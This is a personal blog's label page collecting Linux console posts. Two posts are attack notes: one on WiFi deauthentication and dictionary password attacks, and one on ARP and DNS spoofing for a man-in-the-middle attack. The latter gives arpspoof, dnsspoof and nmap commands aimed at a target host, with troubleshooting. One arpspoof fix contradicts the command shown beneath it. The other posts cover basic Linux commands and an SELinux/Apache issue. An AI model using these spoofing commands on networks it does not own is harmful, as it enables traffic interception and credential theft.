Search

Showing posts with label Linux console. Show all posts
Showing posts with label Linux console. Show all posts

Thursday, April 28, 2016

WiFi Authentication Attack

Gaining WiFi access with password dictionary attach

Post status : on going


Deauth with airreplay-ng

airmon-ng : Unable to start interface with specific channel

solution: stop the wireless card, then airmon-ng start

root@local:/# airmon-ng stop wlan0
. . .
root@local: airmon-ng start wlan0

Wednesday, April 27, 2016

DNS Spoofing and Man-in-the-Middle Attack on WiFi

Steps of DNS Spoofing and MITM Attack on WiFi. Problems and solutions found are included


ARP

view or alter the contents of the kernel's ARP tables, for example when you suspect a duplicate Internet address is the cause for some intermittent network problem.
# arp -a IP address HW type HW address 172.16.1.3 10Mbps Ethernet 00:00:C0:5A:42:C1 172.16.1.2 10Mbps Ethernet 00:00:C0:90:B3:42 172.16.2.4 10Mbps Ethernet 00:00:C0:04:69:AA

DNS Spoofing

ARP Spoof

Install dsniff to run arpspoof

root@local:/# apt-get install dsniff

arpspoof: couldn't arp for host 192.168.1.121

Error found when arpspoof

root@local:/# arpspoof -i wlan0 -t 192.168.1.121 192.168.1.1
arpspoof: couldn't arp for host 192.168.1.121

Solution add -i <wireless interface> parameter

root@local:/# arpspoof -t 192.168.1.121 192.168.1.1
arpspoof: couldn't arp for host 192.168.1.121

dnsspoof: eth0: no IPv4 address assigned

Error found below

root@local:/# dnsspoof -f /home/hosts-spoff.txt host 192.168.1.121 and udp port 53
dnsspoof: eth0: no IPv4 address assigned
dnsspoof: couldn't initialize sniffing

Solution: add -i <wireless interface> parameter

root@local:/# dnsspoof -i wlan0 -f /home/hosts-spoff.txt host 192.168.1.121 and udp port 53

Scanning connected devices

Scan connected devices in the network to obtain IP and MAC address

root@local:/# nmap -sP 192.168.1.0/24

Monday, May 19, 2014

Linux terminal 101

List of commonly used (yet forgotten) Linux terminal commands:


  • Prints certain LSB (Linux Standard Base) and Distribution information.
    lsb_release -a
  • command-line utility for Unix and Unix-like operating systems whose primary purpose is to convert and copy files. Example below will restores a hard disk drive (or an SD card, for example) from a previously created image.
    dd if=system.img of=/dev/sdc bs=4096 conv=noerror 
  • Print certain system information
    uname
  • Queries, installs, removes, and maintains Debian software packages and their dependencies.
    dpkg
    The primary and more user-friendly front-end for dpkg is aptitude. dpkg itself is controlled entirely via command line parameters, which consist of exactly one action and zero or more options. The action-parameter tells dpkg what to do and options control the behavior of the action in some way. dpkg can also be used as a front-end to dpkg-deb and dpkg-query. The list of supported actions is below (in the "Actions" section). If any such action is encountered dpkg just runs dpkg-deb or dpkg-query with the parameters given to it, but no specific options are currently passed to them, to use any such option the back-ends need to be called directly.

Sunday, January 23, 2011

Sunday, January 16, 2011

Problem with SELinux when changing Apache's DocumentRoot

With dual Operating System in my laptop, Fedora 14 and Windows XP, I need to set my Fedora Apache's DocumentRoot to point to windows-readable hardisk partition (NTFS). This change of path will allow me to work on same projects from both OS.
Current DocumentRoot is   /var/www/html   need to be set to   /media/Data/htDocs. For testing purpose, DocumentRoot would also be pointed to /home/user/htDocs (home directory). Problems would occurred mostly caused by SELinux policies.